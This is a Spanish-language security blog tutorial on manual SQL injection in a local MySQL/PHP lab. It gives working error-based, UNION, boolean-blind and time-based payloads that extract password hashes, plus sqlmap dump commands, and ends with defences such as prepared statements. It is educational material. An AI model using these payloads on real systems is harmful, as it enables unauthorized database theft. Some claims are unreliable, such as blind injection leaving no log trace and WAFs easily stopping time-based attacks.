SQL Injection manual: técnicas avanzadas de extracción de datos
1. Introducción
La SQL Injection manual sigue siendo, más de dos décadas después de los primeros exploits públicos, la técnica que más bases de datos compromete en auditorías reales. A diferencia de los escáneres automáticos, la SQL Injection manual permite entender qué está ocurriendo en cada consulta, adaptar el payload al motor de base de datos exacto y extraer datos con una precisión quirúrgica que ninguna herramienta genérica alcanza. En este artículo montaremos un laboratorio local con MySQL y PHP para recorrer la SQL Injection manual de principio a fin: detección, inyección basada en errores, UNION-based, variantes ciegas booleanas y time-based, y cierre con su automatización responsable mediante sqlmap.
Dominar esta metodología es también la mejor escuela para defender: quien sabe construir un payload de extracción entiende dónde sanitizar, qué parametrizar y cómo detectar los intentos en los logs. Este artículo es exactamente el recorrido que sigue un auditor experto, con comandos reales y verificables en tu propio equipo.
2. Detección: el primer paso de la SQL Injection manual
Toda prueba seria comienza con una buena detección. La regla de oro es observar el comportamiento de la aplicación ante entradas controladas: una comilla simple, un operador aritmético o un comentario SQL revelan si el parámetro llega concatenado a la consulta o si está correctamente parametrizado. En nuestro laboratorio, la aplicación tiene un buscador de productos con el parámetro id vulnerable:
# Solicitud original: busca el producto con id=1
GET /producto.php?id=1
# Comilla simple: aparece el error de sintaxis MySQL
GET /producto.php?id=1'
# Error esperado si la consulta es vulnerable (MySQL)
SQLSTATE[42000]: Syntax error or access violation:
1064 You have an error in your SQL syntax near ''1'''
Fig. 1 – Detección de la SqlInjection manual con comilla simple y respuesta de error del motor MySQL.
Ese mensaje de error ya nos da tres datos de oro para continuar: el motor es MySQL, la consulta se ejecuta sin traducir y no hay filtrado previo. El siguiente paso es confirmar la interpretación del operador aritmético: si id=2-1 devuelve el producto id=1, la entrada se está evaluando como SQL. A partir de ahí, la SQL Injection manual pasa a la fase de mapeo del número de columnas y del motor exacto con funciones como version() o @@version.
3. SQL Injection manual basada en errores y UNION-based
3.1. Inyección basada en errores: extracción con extractvalue
La vía más rápida de la SQL Injection manual es la basada en errores: forzamos que el motor devuelva el resultado de una función en el propio mensaje de error. En MySQL, extractvalue() genera un error XML que incluye la subconsulta que le pasemos, y eso permite volcar credenciales sin necesidad de conocer la estructura completa de la base de datos:
# Volcar el usuario y versión del motor en el mensaje de error
GET /producto.php?id=1 AND extractvalue(1, concat(0x7e, (select user()), 0x7e))
# Error generado con el dato incrustado
XPATH syntax error: '~root@localhost~'
# Obtener la contraseña cifrada del primer usuario
GET /producto.php?id=1 AND extractvalue(1, concat(0x7e, (select password from users limit 1), 0x7e))
En minuto y medio, la variante extractvalue ya ha volcado el hash de un usuario. La técnica equivalente en PostgreSQL usa cast() con un tipo incompatible, y en MSSQL la conversión del nombre de base de datos a int; conocer las tres variantes distingue a un auditor de una herramienta.
3.2. UNION-based: el volcado estructurado
Cuando la aplicación muestra resultados en pantalla, la variante UNION-based es la más potente: permite fusionar la consulta original con una consulta controlada por nosotros. El requisito técnico es que ambas consultas devuelvan el mismo número de columnas:
# Determinar el número de columnas con ORDER BY
GET /producto.php?id=1 ORDER BY 10 -- -
# Confirmar las posiciones visibles en pantalla
GET /producto.php?id=1 UNION SELECT 1,2,3,4,5,6,7 -- -
# Volcado de credenciales en la posición visible (3)
GET /producto.php?id=1 UNION SELECT 1,2,concat(user(),'|',version()),4,5,6,7 -- -
Fig. 2 – SQL Injection manual UNION-based: conteo de columnas y volcado de datos en la posición visible de la página.
Nótese en los payloads la sintaxis SQL real: el comentario — – cierra la consulta original y evita errores de sintaxis. Bien ejecutada, esta metodología requiere además dominar el catálogo de esquemas de cada motor: information_schema en MySQL y PostgreSQL, sys.objects en MSSQL y DBA_TABLES en Oracle. Con esa base, extraer la estructura de datos y las contraseñas es mecánico y silencioso. La entrada de PortSwigger recoge las variantes por motor que todo practicante de SQL Injection manual debe interiorizar.

4. SQL Injection manual a ciegas: booleana y time-based
En muchos despliegues reales la aplicación no muestra errores ni datos: solo respuestas correctas o incorrectas. La SQL Injection manual a ciegas se divide entonces en dos vertientes que explotan canales laterales del comportamiento de la página.
4.1. Inyección booleana ciega: el oráculo de la SQL Injection manual
Si la página cambia de contenido según la condición resulte cierta o falsa, tenemos un oráculo perfecto para la variante booleana. Cada bit de información se extrae pregunta a pregunta, y por eso se optimiza con funciones de subcadena y comparaciones binarias:
# Página normal cuando la condición es cierta
GET /producto.php?id=1 AND substring(version(),1,1)=5 -- -
# Página vacía cuando la condición es falsa
GET /producto.php?id=1 AND substring(version(),1,1)=8 -- -
# Extracción byte a byte del primer carácter del hash
GET /producto.php?id=1 AND substring((select password from users limit 1),1,1)=0x24 -- -
Fig. 3 – SQL Injection manual booleana: prueba de oráculo con version() y extracción carácter a carácter del hash.
Este proceso manual es lento pero letal, y no deja rastro en los logs de la aplicación: todas las consultas son sintácticamente válidas y devuelven una página u otra. La SQL Injection manual booleana resulta especialmente útil cuando el WAF bloquea payloads sospechosos, porque podemos fragmentarla con operadores LIKE y valores hex para evadir firmas. En PostgreSQL la función equivalente es substr() combinada con la comparación de tipo, y en MSSQL substring() con la colación del servidor.
4.2. Time-based: el canal temporal
Cuando la página no muestra ninguna diferencia visual, la SQL Injection manual time-based convierte el tiempo de respuesta en el canal de información. En MySQL utilizamos SLEEP() condicionado por SUBSTRING() para extraer un carácter por cada pausa:
# Comparación temporal: si el primer carácter es '5', duerme 4 segundos
GET /producto.php?id=1 AND IF(substring(version(),1,1)='5', SLEEP(4), 0) -- -
# Medir con curl el tiempo real de cada petición
time curl -s "http://localhost/producto.php?id=1 AND IF(substring(version(),1,1)='5', SLEEP(4), 0) -- -"
La SQL Injection manual time-based es la última trinchera del auditor y la que sqlmap reproduce cuando todo lo demás falla. Su contrapartida defensiva es clara: los picos de latencia anómalos en un mismo parámetro son una señal de ataque que un WAF con rate limiting corta fácilmente, y el proyecto OWASP mantiene la documentación de referencia sobre estas variantes.
5. Automatización responsable con sqlmap
Una vez dominada la teoría, la SQL Injection manual se acelera con sqlmap, la herramienta de referencia. Un buen auditor valida primero la vulnerabilidad manualmente y después automatiza la extracción masiva. Los parámetros clave para que la automatización respete el método manual son el nivel de riesgo y el manejo de técnicas específicas:
# Extracción automática de todas las bases de datos vulnerables
python3 sqlmap.py -u "http://localhost/producto.php?id=1" --dbs --batch
# Restringir la técnica booleana con nivel 3 y riesgo 2
python3 sqlmap.py -u "http://localhost/producto.php?id=1" \
--technique=B --level 3 --risk 2 --current-db
# Volcado completo con la técnica time-based y retardo propio
python3 sqlmap.py -u "http://localhost/producto.php?id=1" \
--technique=T --time-sec 3 --dump -T users -D appdb
Fig. 4 – Automatización de la extracción con sqlmap conservando las técnicas manuales de la SQL Injection manual.
El uso de sqlmap requiere autorización del propietario del sistema: en España, acceder o alterar datos ajenos sin permiso está tipificado en el Código Penal (artículos 197 bis y 197 ter). Esta guía de SQL Injection manual tiene, como todo el contenido de este blog, un propósito exclusivamente defensivo y formativo, para que puedas auditar tus propios sistemas o los que tengas contratados.
6. Extracción de datos y prevención
El objetivo final de esta guía es la exfiltración controlada de datos. La tabla siguiente resume las técnicas cubiertas, sus canales de salida y cómo bloquea cada una una defensa correctamente construida:
| Técnica de SQL Injection manual | Canal de extracción | Defensa efectiva |
|---|---|---|
| Error-based (extractvalue) | Mensajes de error del motor | Suprimir errores en producción (display_errors=Off) |
| UNION-based | Salida HTML de la propia página | Consultas parametrizadas y mapeo de la capa ORM |
| Booleana ciega | Diferencia de contenido entre páginas | Reglas WAF sobre parámetros y rate limiting |
| Time-based | Latencia diferencial de respuesta | Limitar el tiempo de ejecución de consultas y monitorizar latencias anómalas |
| Automatizada (sqlmap) | Combinación de los anteriores | Parcheo del código fuente y pentesting periódico propio |
La defensa nuclear es simple y no admite debate: toda entrada del usuario debe formalizar su camino a la base de datos mediante sentencias preparadas. En PHP con PDO, el caso vulnerable que abrió este artículo se corrige parametrizando el placeholder, y lo mismo aplica a cualquier lenguaje:
# Consulta vulnerable (nunca hacer esto)
$pdo->query("SELECT * FROM products WHERE id = $id");
# Corrección con sentencias preparadas
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = ?");
$stmt->execute([$id]);
Fig. 5 – Corrección de la SQL Injection manual con sentencias preparadas en PDO: el antes y el después del código vulnerable.
7. Conclusión
La SQL Injection manual sigue siendo un arte y una ciencia: detección con comillas y operadores, explotación basada en errores, volcado UNION-based, extracción a ciegas por canal booleano o temporal y, finalmente, la automatización de la fase de extracción con sqlmap. Cada técnica exige conocer el motor de base de datos, el esquema y el comportamiento de la aplicación, y precisamente ese conocimiento es el que convierte a un técnico en auditor.
Para el equipo defensor, la conclusión no cambia: parametrizar todas las consultas, ocultar errores en producción, filtrar tráfico anómalo y auditarse con la misma SQL Injection manual que hemos practicado. Lo que no se puede romper de forma controlada, algún día se romperá sin control.
Artículos relacionados: análisis y estudio de la inyección SQL blind en profundidad y práctica de inyección en bases de datos NoSQL como ampliación de la SQL Injection manual.
¿Necesitas ayuda con SQL Injection manual?
En Jaymon Security ayudamos a las organizaciones a proteger sus sistemas. Desde auditorías de seguridad hasta implementación de SIEM/SOC, nuestro equipo de expertos diseña soluciones a medida.
Contacta con nosotros para una evaluación gratuita de tu infraestructura.


